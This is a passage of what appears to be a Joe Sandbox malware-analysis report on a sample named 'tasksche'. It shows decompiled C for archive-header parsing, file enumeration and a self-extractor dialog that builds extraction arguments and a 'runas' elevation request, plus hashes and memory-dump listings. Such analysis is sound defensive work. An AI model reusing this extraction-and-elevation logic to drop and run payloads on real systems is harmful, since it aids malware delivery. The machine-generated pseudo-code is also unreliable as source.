									 *((char*)(_t360 + 0xb05a)) = 1;
									__eflags = _t246 & 0x00000002;
									if((_t246 & 0x00000002) == 0) {
										_t198 = _t360 + 0xb078;
										 *_t198 =  *(_t360 + 0xb078) & 0x00000000;
										__eflags =  *_t198;
									} else {
										 *(_t360 + 0xb078) = E0040B60D(_t460);
									}
									__eflags =  *(_t360 + 0xb055);
									if( *(_t360 + 0xb055) == 0) {
										L77:
										_t247 = 0;
										__eflags = 0;
										goto L78;
									} else {
										__eflags =  *(_t360 + 0xb078);
										if( *(_t360 + 0xb078) != 0) {
											goto L77;
										}
										_t247 = 1;
										L78:
										 *((char*)(_t360 + 0xb059)) = _t247;
										__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
										if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
											_push(_t360 + 0x6570);
											_push( *(_t482 + 0x18));
											_push(_t482 + 0x28);
											E0040272E(_t360, _t460);
										}
										L80:
										__eflags =  *((intOrPtr*)(_t360 + 0xb04c)) -  *((intOrPtr*)(_t360 + 0xb044));
										if(__eflags > 0) {
											L83:
											__eflags =  *(_t482 + 0x28);
											_t481 =  *((intOrPtr*)(_t482 + 0x3c));
											if(__eflags != 0) {
												_push( *(_t482 + 0x28));
												E0041A506(_t360, _t466, _t481, __eflags);
											}
											_t225 = _t481;
											goto L91;
										}
										if(__eflags < 0) {
											goto L86;
										}
										__eflags =  *((intOrPtr*)(_t360 + 0xb048)) -  *((intOrPtr*)(_t360 + 0xb040));
										if( *((intOrPtr*)(_t360 + 0xb048)) <=  *((intOrPtr*)(_t360 + 0xb040))) {
											goto L86;
										}
										goto L83;
									}
								}
								if(__eflags <= 0) {
									goto L80;
								}
								__eflags = _t243 - 3;
								if(_t243 <= 3) {
									__eflags = _t243 - 2;
									_t258 = _t360 + 0x65e8;
									if(_t243 != 2) {
										_t258 = _t360 + 0x8928;
									}
									_t470 = _t258;
									 *(_t482 + 0x4c) = _t258;
									E00409B44(_t470, 0);
									_t400 = 5;
									_t261 = memcpy(_t470, _t479, _t400 << 2);
									__eflags =  *((intOrPtr*)(_t360 + 0x6550)) - 2;
									_t479 =  *(_t482 + 0x4c);
									 *(_t479 + 0x1048) = _t261;
									 *((char*)(_t482 + 0x53)) =  *((intOrPtr*)(_t360 + 0x6550)) == 2;
									 *((char*)(_t479 + 0x10e9)) = 1;
									 *(_t479 + 0x104c) =  *(_t482 + 0x24);
									 *(_t479 + 0x1084) = E0040B60D(_t460);
									 *(_t479 + 0x1050) = E0040B60D(_t460);
									_t267 =  *(_t479 + 0x1084) >> 0x00000003 & 0x00000001;
									__eflags = _t267;
									 *(_t479 + 0x1054) = _t460;
									 *(_t479 + 0x108a) = _t267;
									if(_t267 != 0) {
										 *(_t479 + 0x1050) = 0x7fffffff;
										 *(_t479 + 0x1054) = 0x7fffffff;
									}
									_t268 =  *(_t479 + 0x104c);
									_t404 =  *(_t479 + 0x1054);
									__eflags = _t268 - _t404;
									_t461 =  *(_t479 + 0x1048);
									_t473 =  *(_t479 + 0x1050);
									if(__eflags < 0) {
										L48:
										_t461 = _t473;
										_t268 = _t404;
										goto L49;
									} else {
										if(__eflags > 0) {
											L49:
											 *(_t479 + 0x1058) = _t461;
											 *(_t479 + 0x105c) = _t268;
											_t269 = E0040B60D(_t461);
											__eflags =  *(_t479 + 0x1084) & 0x00000002;
											 *((intOrPtr*)(_t479 + 0x1c)) = _t269;
											if(( *(_t479 + 0x1084) & 0x00000002) != 0) {
												E00411357(_t479 + 0x1030, _t461, E0040B5AF(_t482 + 0x28), 0);
											}
											_t270 = _t479 + 0x1060;
											 *_t270 =  *_t270 & 0x00000000;
											__eflags =  *(_t479 + 0x1084) & 0x00000004;
											if(( *(_t479 + 0x1084) & 0x00000004) != 0) {
												 *_t270 = 2;
												 *((intOrPtr*)(_t479 + 0x1064)) = E0040B5AF(_t482 + 0x28);
											}
											 *(_t479 + 0x10f0) =  *(_t479 + 0x10f0) & 0x00000000;
											_t271 = E0040B60D(_t461);
											 *(_t482 + 0x4c) = _t271;
											 *(_t479 + 0x1a) = _t271 >> 0x00000007 & 0x00000007;
											 *(_t479 + 0x19) = _t271 & 0x0000003f;
											 *((char*)(_t479 + 0x18)) = E0040B60D(_t461);
											_t274 = E0040B60D(_t461);
											_t462 =  *((intOrPtr*)(_t479 + 0x18));
											_t474 = _t274;
											_t412 = _t479 + 0x10ec;
											 *(_t479 + 0x10e8) =  *(_t360 + 0x6554) >> 0x00000006 & 0x00000001;
											 *_t412 = 2;
											__eflags = _t462 - 1;
											if(_t462 != 1) {
												__eflags = _t462;
												if(_t462 == 0) {
													 *_t412 =  *_t412 & 0x00000000;
													__eflags =  *_t412;
												}
											} else {
												 *_t412 = 1;
											}
											_t413 =  *(_t479 + 8);
											 *(_t479 + 0x1088) = _t413 >> 0x00000003 & 0x00000001;
											__eflags =  *((char*)(_t482 + 0x53));
											 *(_t479 + 0x1089) = _t413 >> 0x00000004 & 0x00000001;
											 *(_t479 + 0x10ea) = _t413 >> 0x00000005 & 0x00000001;
											if( *((char*)(_t482 + 0x53)) == 0) {
												L60:
												_t416 = 0;
												__eflags = 0;
												goto L61;
											} else {
												__eflags =  *(_t482 + 0x4c) & 0x00000040;
												if(( *(_t482 + 0x4c) & 0x00000040) == 0) {
													goto L60;
												}
												_t416 = 1;
												L61:
												 *((char*)(_t479 + 0x10e0)) = _t416;
												_t464 =  *(_t479 + 0x1084) & 0x00000001;
												asm("sbb ecx, ecx");
												asm("sbb eax, eax");
												 *(_t479 + 0x10e4) =  !( ~(_t464 & 0x000000ff)) & 0x00020000 << ( *(_t482 + 0x4c) >> 0x0000000a & 0x0000000f);
												 *(_t479 + 0x10e1) = _t464;
												 *(_t479 + 0x108c) =  ~( *(_t479 + 0x108b) & 0x000000ff) & 0x00000005;
												__eflags = _t474 - 0x1fff;
												if(_t474 >= 0x1fff) {
													_t474 = 0x1fff;
												}
												E0040B696(_t482 + 0x28, _t482 - 0x207c, _t474);
												 *((char*)(_t482 + _t474 - 0x207c)) = 0;
												_t466 = _t479 + 0x20;
												E00411CD1(_t482 + 0x28, _t482 - 0x207c, _t479 + 0x20, 0x800);
												__eflags =  *(_t482 + 0x18) |  *(_t482 + 0x1c);
												if(( *(_t482 + 0x18) |  *(_t482 + 0x1c)) != 0) {
													_push(_t479);
													_push( *(_t482 + 0x18));
													_push(_t482 + 0x28);
													E0040272E(_t360, _t464);
												}
												__eflags =  *((char*)(_t482 + 0x53));
												if( *((char*)(_t482 + 0x53)) == 0) {
													_t295 = E0041AA21(_t466, "CMT");
													__eflags = _t295;
													if(_t295 == 0) {
														 *((char*)(_t360 + 0xb056)) = 1;
													}
												} else {
													E00401A7E(_t360, _t479);
												}
												__eflags =  *((char*)(_t482 + 0x4b));
												if( *((char*)(_t482 + 0x4b)) != 0) {
													E0040639F(0x1a, _t360 + 0x1e, _t466);
												}
												goto L80;
											}
										}
										__eflags = _t461 - _t473;
										if(_t461 > _t473) {
											goto L49;
										}
										goto L48;
									}
								}
								__eflags = _t243 - 4;
								if(_t243 == 4) {
									_t434 = 5;
									memcpy(_t360 + 0x65b0, _t479, 0 << 2);
									_t466 = _t479 + _t434 + _t434;
									_t306 = E0040B60D(_t460);
									__eflags = _t306;
									if(_t306 <= 0) {
										 *(_t360 + 0x65c4) = E0040B60D(_t460) & 0x00000001;
										_t310 = E0040B562(_t482 + 0x28) & 0x000000ff;
										 *(_t360 + 0x65c8) = _t310;
										__eflags = _t310 - 0x18;
										if(_t310 > 0x18) {
											goto L36;
										}
										E0040B696(_t482 + 0x28, _t360 + 0x65cc, 0x10);
										__eflags =  *(_t360 + 0x65c4);
										if( *(_t360 + 0x65c4) != 0) {
											_t479 = _t360 + 0x65dc;
											E0040B696(_t482 + 0x28, _t360 + 0x65dc, 8);
											E0040B696(_t482 + 0x28, _t482 + 0x4c, 4);
											E004106AE(_t482 - 0x7c);
											E004109B0(_t482 - 0x7c, _t360 + 0x65dc, 8);
											E00410A29(_t482 + 0x28, _t460, __eflags, _t482 - 0x7c, _t482);
											_t327 = E0041AC04(_t482 + 0x4c, _t482, 4);
											asm("sbb al, al");
											_t329 =  ~_t327 + 1;
											__eflags = _t329;
											 *(_t360 + 0x65c4) = _t329;
										}
										 *((char*)(_t360 + 0xb05c)) = 1;
										goto L80;
									}
									L36:
									E00401CA3(_t360, _t360 + 0x1e);
									goto L87;
								}
								__eflags = _t243 - 5;
								if(_t243 == 5) {
									_t443 = _t243;
									memcpy(_t360 + 0x88e8, _t479, 0 << 2);
									_t466 = _t479 + _t443 + _t443;
									 *(_t360 + 0x8904) = E0040B60D(_t460) & 0x00000001;
									 *((char*)(_t360 + 0x8907)) = 0;
									 *((char*)(_t360 + 0x8905)) = 0;
									 *((char*)(_t360 + 0x8906)) = 0;
								}
								goto L80;
							}
							 *(_t482 + 0x18) = E0040B60D(_t460);
							_t335 =  *(_t360 + 0x6558);
							 *(_t482 + 0x1c) = _t460;
							__eflags = _t460;
							if(__eflags < 0) {
								goto L27;
							}
							if(__eflags > 0) {
								L26:
								E00401C80(_t360);
								goto L6;
							}
							__eflags =  *(_t482 + 0x18) - _t335;
							if(__eflags < 0) {
								goto L27;
							}
							goto L26;
						}
						E00401C80(_t360);
						 *((char*)(_t360 + 0xb064)) = 1;
						E004062BA(0x4335ac, 3);
						__eflags =  *((char*)(_t482 + 0x53));
						if( *((char*)(_t482 + 0x53)) == 0) {
							goto L22;
						} else {
							E0040639F(4, _t360 + 0x1e, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							goto L87;
						}
					} else {
						E00401C37(_t360, _t460, __eflags);
						goto L87;
					}
				}
				_t460 =  *(__ecx + 0xb044);
				_t343 =  *((intOrPtr*)(__ecx + 0xb060)) + 8;
				asm("adc ecx, edi");
				_t494 = _t460;
				if(_t494 < 0 || _t494 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t343) {
					goto L7;
				} else {
					 *((char*)(_t482 + 0x53)) = 1;
					E00401BBB(_t360);
					_t346 =  *((intOrPtr*)( *_t360 + 8))(_t482 + 0x10, 0x10);
					_t496 = _t346 - 0x10;
					if(_t346 == 0x10) {
						_t479 = _t360 + 0x1024;
						E00405FE7(_t479, _t460, _t466, 5,  *((intOrPtr*)(_t360 + 0x6524)) + 0x4024, _t360 + 0x65cc, _t482 + 0x10,  *(_t360 + 0x65c8), _t466, _t482 + 0x20);
						__eflags =  *(_t360 + 0x65c4);
						if( *(_t360 + 0x65c4) == 0) {
							L11:
							 *(_t482 + 0x44) = _t479;
							goto L12;
						}
						_t355 = E0041AC04(_t482 + 0x20, _t360 + 0x65dc, 8);
						_t485 = _t485 + 0xc;
						__eflags = _t355;
						if(_t355 == 0) {
							goto L11;
						} else {
							E00406376(6, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							E004062BA(0x4335ac, 0xb);
							goto L6;
						}
					}
					goto L5;
				}
			}

APIs

__EH_prolog.LIBCMT ref: 00402F35
_memcmp.LIBCMT ref: 00402FFD
_memcmp.LIBCMT ref: 004032D7

Strings

CMT, xrefs: 0040355A
@, xrefs: 004034A4

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @$CMT
API String ID: 212800410-3935043585
Opcode ID: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction ID: 4535b6ba2d5654eb70152741eafeedd3820f65e0183003bc7b62017ff8f1088e
Opcode Fuzzy Hash: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction Fuzzy Hash: 252215715006849FDB24DF24C891BDA3BE5AF14308F08057FED4AEB2C6DB799588CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409476 Relevance: 7.6, APIs: 5, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00409476(intOrPtr __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				signed int _t51;
				signed int _t57;
				signed int _t71;
				void* _t73;
				long _t76;
				char _t77;
				void* _t81;
				intOrPtr _t87;
				intOrPtr _t90;

				_t87 = __edx;
				E0041AAF0(0x1250);
				_t90 = _a12;
				_push( &_v596);
				if(_a4 != 0xffffffff) {
					_t51 = FindNextFileW(_a4, ??);
					__eflags = _t51;
					if(_t51 == 0) {
						_a4 = _a4 | 0xffffffff;
						_t71 = GetLastError();
						__eflags = _t71 - 0x12;
						_t16 = _t71 != 0x12;
						__eflags = _t16;
						 *((char*)(_t90 + 0x1044)) = _t71 & 0xffffff00 | _t16;
					}
					__eflags = _a4 - 0xffffffff;
					if(_a4 != 0xffffffff) {
						goto L13;
					}
				} else {
					_t73 = FindFirstFileW(_a8, ??); // executed
					_a4 = _t73;
					if(_t73 != 0xffffffff) {
						L13:
						E00410B9C(_t90, _a8, 0x800);
						_push(0x800);
						E0040A745(__eflags, _t90,  &(_v596.cFileName));
						_t57 = E0041ABD0(_v596.nFileSizeHigh, 0, 0, 1) + _v596.nFileSizeLow;
						__eflags = _t57;
						 *(_t90 + 0x1000) = _t57;
						 *(_t90 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t90 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t90 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t90 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t90 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t90 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t90 + 0x103c)) = _v572;
						asm("adc edx, edi");
						 *((intOrPtr*)(_t90 + 0x1004)) = _t87;
						E00411333(_t90 + 0x1010,  &(_v596.ftLastWriteTime));
						E00411333(_t90 + 0x1018,  &(_v596.ftCreationTime));
						E00411333(_t90 + 0x1020,  &(_v596.ftLastAccessTime));
					} else {
						if(E0040A3DC(_a8,  &_v4692, 0x800) == 0) {
							L4:
							_t76 = GetLastError();
							if(_t76 == 2 || _t76 == 3 || _t76 == 0x12) {
								_t77 = 0;
								__eflags = 0;
							} else {
								_t77 = 1;
							}
							 *((char*)(_t90 + 0x1044)) = _t77;
						} else {
							_t81 = FindFirstFileW( &_v4692,  &_v596);
							_a4 = _t81;
							if(_t81 != 0xffffffff) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t90 + 0x1040) =  *(_t90 + 0x1040) & 0x00000000;
				return _a4;
			}

0x00409476
0x0040947e
0x00409489
0x00409498
0x00409499
0x00409508
0x0040950e
0x00409510
0x00409512
0x00409516
0x0040951c
0x0040951f
0x0040951f
0x00409522
0x00409522
0x00409528
0x0040952c
0x00000000
0x00000000
0x0040949b
0x004094a4
0x004094a6
0x004094ac
0x00409532
0x00409537
0x0040953c
0x00409545
0x00409563
0x00409563
0x00409565
0x00409571
0x0040957d
0x00409589
0x00409595
0x004095a1
0x004095ad
0x004095b9
0x004095c5
0x004095ce
0x004095d4
0x004095e6
0x004095f8
0x004094b2
0x004094c4
0x004094de
0x004094de
0x004094e7
0x004094f8
0x004094f8
0x004094f3
0x004094f5
0x004094f5
0x004094fa
0x004094c6
0x004094d4
0x004094d6
0x004094dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004094dc
0x004094c4
0x004094ac
0x004095fd
0x0040960b

APIs

FindFirstFileW.KERNELBASE(?,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094A4
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094D4
GetLastError.KERNEL32(?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004094DE
FindNextFileW.KERNEL32(000000FF,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 00409508
GetLastError.KERNEL32(?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 00409516

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction ID: 852f22f8762d0aaf1b59ecd7198268998001e7cc0733578d9edc4610c3c70bd0
Opcode Fuzzy Hash: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction Fuzzy Hash: 2E414071500648ABCB21DF29CC84ADA77F8AF48350F10466AF9AEE2291D774AEC1DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F58D Relevance: 112.7, APIs: 55, Strings: 9, Instructions: 691
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F58D(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t112;
				void* _t114;
				long _t115;
				long _t116;
				struct HWND__* _t118;
				WCHAR* _t123;
				void* _t127;
				int _t128;
				void* _t145;
				void* _t148;
				WCHAR* _t154;
				signed int _t161;
				struct HWND__* _t164;
				void* _t175;
				void* _t178;
				void* _t180;
				struct HWND__* _t187;
				intOrPtr _t195;
				WCHAR* _t196;
				long _t201;
				void* _t223;
				void* _t225;
				void* _t235;
				void* _t247;
				long _t249;
				long _t250;
				long _t251;
				signed int _t256;
				int _t260;
				int _t262;
				void* _t267;
				void* _t271;
				intOrPtr _t289;
				intOrPtr _t290;
				int _t303;
				long _t308;
				void* _t312;
				struct HWND__* _t316;
				void* _t318;
				void* _t320;
				void* _t325;

				_t325 = __fp0;
				_t299 = __edx;
				_t283 = __ecx;
				E0041A4DC(E004297DB, _t318);
				E0041AAF0(0x9c94);
				_t316 =  *(_t318 + 8);
				_t112 = E004060EE(__edx, _t316,  *(_t318 + 0xc),  *(_t318 + 0x10),  *(_t318 + 0x14), L"STARTDLG", 0, 0); // executed
				if(_t112 == 0) {
					_t114 =  *(_t318 + 0xc) - 0x110;
					__eflags = _t114;
					if(_t114 == 0) {
						_t115 =  *0x43981c;
						 *0x441840 = _t316;
						 *0x441844 = _t316;
						__eflags = _t115;
						if(_t115 != 0) {
							SendMessageW(_t316, 0x80, 1, _t115); // executed
						}
						_t116 =  *0x439818;
						__eflags = _t116;
						if(__eflags != 0) {
							SendDlgItemMessageW(_t316, 0x6c, 0x172, 0, _t116); // executed
						}
						E0040DBC1(_t299, __eflags, _t325, _t316);
						_t118 = GetDlgItem(_t316, 0x68);
						 *(_t318 + 0x14) = _t118;
						SendMessageW(_t118, 0x435, 0, 0x400000);
						E00419C9B(_t318 - 0x1164, 0x800);
						 *(_t318 + 0x10) = GetDlgItem(_t316, 0x66);
						_t123 = 0x44187a;
						__eflags =  *0x44187a;
						if( *0x44187a == 0) {
							_t123 = _t318 - 0x1164;
						}
						SetWindowTextW( *(_t318 + 0x10), _t123);
						E00419CB2( *(_t318 + 0x10)); // executed
						_push(0x441858);
						_push(0x44184c);
						_push(0x439820);
						_push(_t316);
						 *0x441848 = 0; // executed
						E0040E75F(_t283, _t299, __eflags); // executed
						__eflags =  *0x441858;
						if( *0x441858 > 0) {
							_push(7);
							_push( *0x44184c);
							_push(_t316);
							E0040E857(_t316);
						}
						__eflags =  *0x44185c;
						if( *0x44185c != 0) {
							_t303 = 1;
							__eflags = 1;
						} else {
							SetDlgItemTextW(_t316, 0x6b, E0040C3BF(0xbf));
							_t154 = E0040C3BF(0xbe);
							_t303 = 1;
							SetDlgItemTextW(_t316, 1, _t154);
						}
						__eflags =  *0x441858;
						if( *0x441858 <= 0) {
							L103:
							__eflags =  *0x441848;
							if( *0x441848 != 0) {
								L114:
								__eflags =  *0x441874 - 2;
								if( *0x441874 == 2) {
									EnableWindow( *(_t318 + 0x10), 0);
								}
								__eflags =  *0x441870;
								if( *0x441870 != 0) {
									E004060AB(_t316, 0x67, 0);
									E004060AB(_t316, 0x66, 0);
								}
								_t127 =  *0x441874;
								__eflags = _t127;
								if(_t127 != 0) {
									__eflags =  *0x44183c;
									if( *0x44183c == 0) {
										_push(0);
										_push(_t303);
										_push(0x111);
										_push(_t316);
										__eflags = _t127 - _t303;
										if(_t127 != _t303) {
											PostMessageW();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x441832;
								if( *0x441832 != 0) {
									SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
								}
								goto L125;
							}
							__eflags =  *0x441850;
							if( *0x441850 != 0) {
								goto L114;
							}
							__eflags =  *0x441874;
							if( *0x441874 != 0) {
								goto L114;
							}
							__eflags = 0;
							 *((short*)(_t318 - 0x9688)) = 0;
							 *(_t318 + 0xc) = 0xaa;
							do {
								__eflags =  *(_t318 + 0xc) - 0xaa;
								if( *(_t318 + 0xc) != 0xaa) {
									L109:
									__eflags =  *(_t318 + 0xc) - 0xab;
									if( *(_t318 + 0xc) != 0xab) {
										L111:
										E0041A7C9(_t318 - 0x9688, " ");
										E0041A7C9(_t318 - 0x9688, E0040C3BF( *(_t318 + 0xc)));
										goto L112;
									}
									__eflags =  *0x44185c;
									if( *0x44185c != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x44185c;
								if( *0x44185c == 0) {
									goto L112;
								}
								goto L109;
								L112:
								 *(_t318 + 0xc) =  &( *(_t318 + 0xc)->i);
								__eflags =  *(_t318 + 0xc) - 0xb0;
							} while (__eflags <= 0);
							_t289 =  *0x438814; // 0x19fe80
							E00419A9D(_t289, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t318 - 0x9688, 0, 0);
							_t303 = 1;
							__eflags = 1;
							goto L114;
						} else {
							_push(0);
							_push( *0x44184c);
							_push(_t316); // executed
							E0040E857(_t316); // executed
							_t145 =  *0x441850;
							__eflags = _t145;
							if(_t145 != 0) {
								__eflags =  *0x441874;
								if(__eflags == 0) {
									_t290 =  *0x438814; // 0x19fe80
									E00419A9D(_t290, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t145, 0, 0);
									_push( *0x441850);
									E0041A506(0, _t303, _t316, __eflags);
								}
							}
							__eflags =  *0x441874 - _t303;
							if( *0x441874 == _t303) {
								L102:
								_push(_t303);
								_push( *0x44184c);
								_push(_t316);
								E0040E857(_t316);
								goto L103;
							} else {
								SetForegroundWindow(_t316);
								__eflags =  *0x441874 - _t303;
								if( *0x441874 == _t303) {
									goto L102;
								}
								__eflags =  *0x441879;
								if( *0x441879 != 0) {
									goto L102;
								}
								_t148 = DialogBoxParamW( *0x4335a4, L"LICENSEDLG", 0, E0040F47B, 0);
								__eflags = _t148;
								if(_t148 != 0) {
									goto L102;
								}
								 *0x44183c = 1;
								L101:
								EndDialog(_t316, _t303);
								L125:
								_t128 = _t303;
								L126:
								goto L127;
							}
						}
					}
					__eflags = _t114 != 1;
					if(_t114 != 1) {
						L7:
						_t128 = 0;
						goto L126;
					}
					_t161 = ( *(_t318 + 0x10) & 0x0000ffff) - 1;
					__eflags = _t161;
					if(_t161 == 0) {
						__eflags =  *0x44ef31;
						if( *0x44ef31 == 0) {
							_t308 = 0x800;
							GetDlgItemTextW(_t316, 0x66, _t318 - 0x2164, 0x800);
							__eflags =  *0x441833;
							if( *0x441833 == 0) {
								__eflags =  *0x441832;
								if( *0x441832 == 0) {
									_t164 = GetDlgItem(_t316, 0x68);
									 *(_t318 + 0xc) = _t164;
									__eflags =  *0x441838;
									if( *0x441838 == 0) {
										SendMessageW(_t164, 0xb1, 0, 0xffffffff);
										SendMessageW( *(_t318 + 0xc), 0xc2, 0, 0x42a73c);
										_t308 = 0x800;
									}
									SetFocus( *(_t318 + 0xc));
									__eflags =  *0x441870;
									if( *0x441870 == 0) {
										E00410B9C(_t318 - 0x1164, _t318 - 0x2164, _t308);
										E0040DD7E(_t318, _t318 - 0x1164, _t308);
										E0040BC16(_t318 - 0x3264, 0x880, E0040C3BF(0xb9), _t318 - 0x1164);
										_t320 = _t320 + 0x10;
										_t175 = _t318 - 0x3264;
									} else {
										_t175 = E0040C3BF(0xba);
									}
									E0040D298(0, _t175); // executed
									__eflags =  *0x441879;
									if( *0x441879 == 0) {
										E0040DA8C(_t316, _t318 - 0x2164); // executed
									}
									 *(_t318 + 0xf) = 0;
									_t178 = E0040935F(0, _t283, _t308, _t318 - 0x2164, 0); // executed
									__eflags = _t178;
									if(_t178 != 0) {
										L38:
										_t180 = E00419C88(_t318 - 0x2164);
										 *(_t318 + 0x13) = _t180;
										__eflags = _t180;
										if(_t180 == 0) {
											_t250 = GetLastError();
											__eflags = _t250 - 5;
											if(_t250 == 5) {
												 *(_t318 + 0xf) = 1;
											}
										}
										__eflags =  *0x441879;
										if( *0x441879 != 0) {
											L47:
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) != 0) {
												_t303 = 1;
												 *0x441834 = 1;
												E004060C9(_t316, 0x67, 0);
												E004060C9(_t316, 0x66, 0);
												SetDlgItemTextW(_t316, 1, E0040C3BF(0xe6)); // executed
												E004060C9(_t316, 0x69, 1);
												SetDlgItemTextW(_t316, 0x65, 0x42a73c); // executed
												_t187 = GetDlgItem(_t316, 0x65);
												 *(_t318 + 0xc) = _t187;
												__eflags = _t187;
												if(_t187 != 0) {
													_t201 = GetWindowLongW(_t187, 0xfffffff0) | 0x00000080;
													__eflags = _t201;
													SetWindowLongW( *(_t318 + 0xc), 0xfffffff0, _t201);
												}
												_push(5);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(2);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(0x439820);
												_push(_t316);
												 *0x44ef31 = 1; // executed
												E0040E2D7(_t283, _t299, __eflags); // executed
												_push(6);
												_push( *0x44184c);
												 *0x44ef31 = 0;
												_push(_t316);
												E0040E857(_t316);
												__eflags =  *0x44183c;
												if( *0x44183c == 0) {
													__eflags =  *0x441838;
													if( *0x441838 == 0) {
														__eflags =  *0x441868;
														if( *0x441868 == 0) {
															_push(4);
															_push( *0x44184c);
															_push(_t316);
															E0040E857(_t316);
														}
													}
												}
												E004060AB(_t316, _t303, _t303);
												 *0x441834 = 0;
												L75:
												__eflags =  *0x441838;
												if( *0x441838 <= 0) {
													goto L101;
												}
												__eflags =  *0x44183c;
												if( *0x44183c != 0) {
													goto L101;
												}
												 *0x441833 = 1;
												SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
												_t195 =  *0x4335ac; // 0x3
												__eflags = _t195 - 9;
												if(_t195 != 9) {
													__eflags = _t195 - 3;
													_t282 = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
													__eflags = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
												} else {
													_t282 = 0xa0;
												}
												_t196 = E0040C3BF(0x96);
												MessageBoxW(_t316, E0040C3BF(_t282), _t196, 0x30); // executed
												goto L125;
											}
											__eflags =  *0x441879;
											if( *0x441879 != 0) {
												 *(_t318 + 0xf) = 0;
											}
											goto L50;
										} else {
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) == 0) {
												L50:
												__eflags =  *(_t318 + 0xf);
												 *(_t318 + 0xf) =  *(_t318 + 0xf) == 0;
												__eflags =  *(_t318 + 0xf);
												if( *(_t318 + 0xf) != 0) {
													L64:
													_push(E0040C3BF(0x9a));
													E0040BC16(_t318 - 0x4664, 0xa00, L"\"%s\"\n%s", _t318 - 0x2164);
													E004062BA(0x4335ac, 1);
													MessageBoxW(_t316, _t318 - 0x4664, E0040C3BF(0x96), 0x30);
													 *0x441838 =  *0x441838 + 1;
													__eflags =  *0x441838;
													L65:
													_push(0);
													L66:
													EndDialog(_t316, ??);
													goto L67;
												}
												GetModuleFileNameW(0, _t318 - 0x1164, 0x800);
												E0040CFFA(0x44387a, _t318 - 0x164, 0x80);
												_push(0x44287a);
												_push(_t318 - 0x164);
												E0040BC16(_t318 - 0x9ca0, 0x230c, L"-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"", _t318 - 0x2164);
												_t320 = _t320 + 0x18;
												 *((intOrPtr*)(_t318 - 0x38)) = _t318 - 0x1164;
												 *(_t318 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t318 - 0x44)) = 0x40;
												 *(_t318 - 0x40) = _t316;
												 *((intOrPtr*)(_t318 - 0x3c)) = L"runas";
												 *((intOrPtr*)(_t318 - 0x34)) = _t318 - 0x9ca0;
